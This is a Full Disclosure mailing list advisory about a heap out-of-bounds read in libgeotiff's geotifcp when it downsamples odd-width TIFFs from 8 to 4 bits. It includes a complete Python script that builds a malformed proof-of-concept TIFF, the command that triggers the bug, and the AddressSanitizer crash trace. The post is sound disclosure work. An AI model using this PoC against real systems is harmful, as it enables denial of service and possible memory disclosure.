
Full Disclosure mailing list archives
libgeotiff 1.7.4 Heap Buffer Overflow in geotifcp (libgeotiff) During 8-to-4 Bit Downsample with Odd Image Width
From: Ron E <ronaldjedgerson () gmail com>
Date: Sun, 28 Sep 2025 12:04:27 -0400
A heap buffer overflow vulnerability exists in the geotifcp utility, distributed as part of libgeotiff. The flaw occurs in the function cpContig2ContigByRow_8_to_4 when processing TIFF images with an odd ImageWidth and using the -d option (downsampling from 8-bit to 4-bit). During conversion, the function iterates over pixels in pairs and always accesses buf_in[i_in+1]. When the width is odd, the last iteration dereferences one byte past the allocated buffer, resulting in a heap out-of-bounds read. This can lead to a crash, potential information disclosure, or further memory corruption depending on context. *Impact:* - Crash (denial of service) - Possible information leak (read beyond buffer) - Undefined behavior that could potentially be leveraged for further exploitation in specific contexts *Proof of Concept (PoC):* A minimal TIFF file with ImageWidth = 101, ImageLength = 1, BitsPerSample = 8, SamplesPerPixel = 1, and RowsPerStrip = 1 triggers the overflow: # Create poc.tif using provided Python script import struct # TIFF little-endian header # 'II' (2 bytes), 42 (uint16), offset to IFD (uint32) # we will place IFD right after header, so offset = 8 header = b'II' + struct.pack('<H', 42) + struct.pack('<I', 8) # IFD entries we will create (9 entries) # tags: # 256 ImageWidth (SHORT=3) value=101 # 257 ImageLength (SHORT=3) value=1 # 258 BitsPerSample (SHORT=3) value=8 # 259 Compression (SHORT=3) value=1 (none) # 262 PhotometricInterpretation (SHORT=3) value=1 # 273 StripOffsets (LONG=4) value=offset_to_image_data (we'll compute) # 277 SamplesPerPixel (SHORT=3) value=1 # 278 RowsPerStrip (LONG=4) value=1 # 279 StripByteCounts (LONG=4) value=101 # helper to build a directory entry: tag(2), type(2), count(4), value/offset(4) def dir_entry(tag, typ, count, val_or_off): return struct.pack('<HHII', tag, typ, count, val_or_off) # We'll compute IFD size: 2 (count) + 9*12 (entries) + 4 (nextIFD) = 2 + 108 + 4 = 114 bytes # So image data will start at offset = header(8) + 114 = 122 ifd_offset = 8 num_entries = 9 ifd_entries_size = num_entries * 12 next_ifd_ptr_offset = ifd_offset + 2 + ifd_entries_size # where nextIFD ptr will live image_data_offset = next_ifd_ptr_offset + 4 # image data follows nextIFD ptr # image_data_offset should be 122 entries = [] # ImageWidth tag 256 type SHORT(3) count=1 value=101 -> value fits into 4 bytes entries.append(dir_entry(256, 3, 1, 101)) # ImageLength tag 257 type SHORT count=1 value=1 entries.append(dir_entry(257, 3, 1, 1)) # BitsPerSample tag 258 type SHORT count=1 value=8 entries.append(dir_entry(258, 3, 1, 8)) # Compression tag 259 type SHORT count=1 value=1 (no compression) entries.append(dir_entry(259, 3, 1, 1)) # PhotometricInterpretation tag 262 type SHORT count=1 value=1 entries.append(dir_entry(262, 3, 1, 1)) # StripOffsets tag 273 type LONG count=1 value=image_data_offset entries.append(dir_entry(273, 4, 1, image_data_offset)) # SamplesPerPixel tag 277 type SHORT count=1 value=1 entries.append(dir_entry(277, 3, 1, 1)) # RowsPerStrip tag 278 type LONG count=1 value=1 entries.append(dir_entry(278, 4, 1, 1)) # StripByteCounts tag 279 type LONG count=1 value=101 (image width * samples * 1 row) image_width = 101 entries.append(dir_entry(279, 4, 1, image_width)) # Build IFD binary: count, entries..., nextIFD (0) ifd = struct.pack('<H', num_entries) + b''.join(entries) + struct.pack('<I', 0) # Now build image data: one scanline of 101 bytes (we'll fill with 0x41 'A', but any bytes work) image_data = b'A' * image_width # Put it all together tiff = header + ifd + image_data # Write file with open('poc.tif', 'wb') as f: f.write(tiff) print("Wrote poc.tif (width={}, length=1, {} bytes)".format(image_width, len(tiff))) %python3 make_poc.py # Trigger overflow ASAN_OPTIONS=abort_on_error=1 \ UBSAN_OPTIONS=print_stacktrace=1 \ geotifcp -d poc.tif out.tif *Output:* ==1880851==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50b000005065 at pc 0xaaf267f250b0 bp 0xffffee9f65a0 sp 0xffffee9f6598 READ of size 1 at 0x50b000005065 thread T0 #0 0xaaf267f250ac in cpContig2ContigByRow_8_to_4 /root/libgeotiff/libgeotiff/bin/geotifcp.c:792:44 #1 0xaaf267f21c98 in tiffcp /root/libgeotiff/libgeotiff/bin/geotifcp.c:726:15 #2 0xaaf267f21c98 in main /root/libgeotiff/libgeotiff/bin/geotifcp.c:224:9 #3 0xff50d4b02290 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #4 0xff50d4b02374 in __libc_start_main csu/../csu/libc-start.c:360:3 #5 0xaaf267e3bd2c in _start (/usr/local/bin/geotifcp+0x7bd2c) (BuildId: 7b47067afc115c8ff3d6baae72841c9da29073fb) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Current thread:
- libgeotiff 1.7.4 Heap Buffer Overflow in geotifcp (libgeotiff) During 8-to-4 Bit Downsample with Odd Image Width Ron E (Sep 30)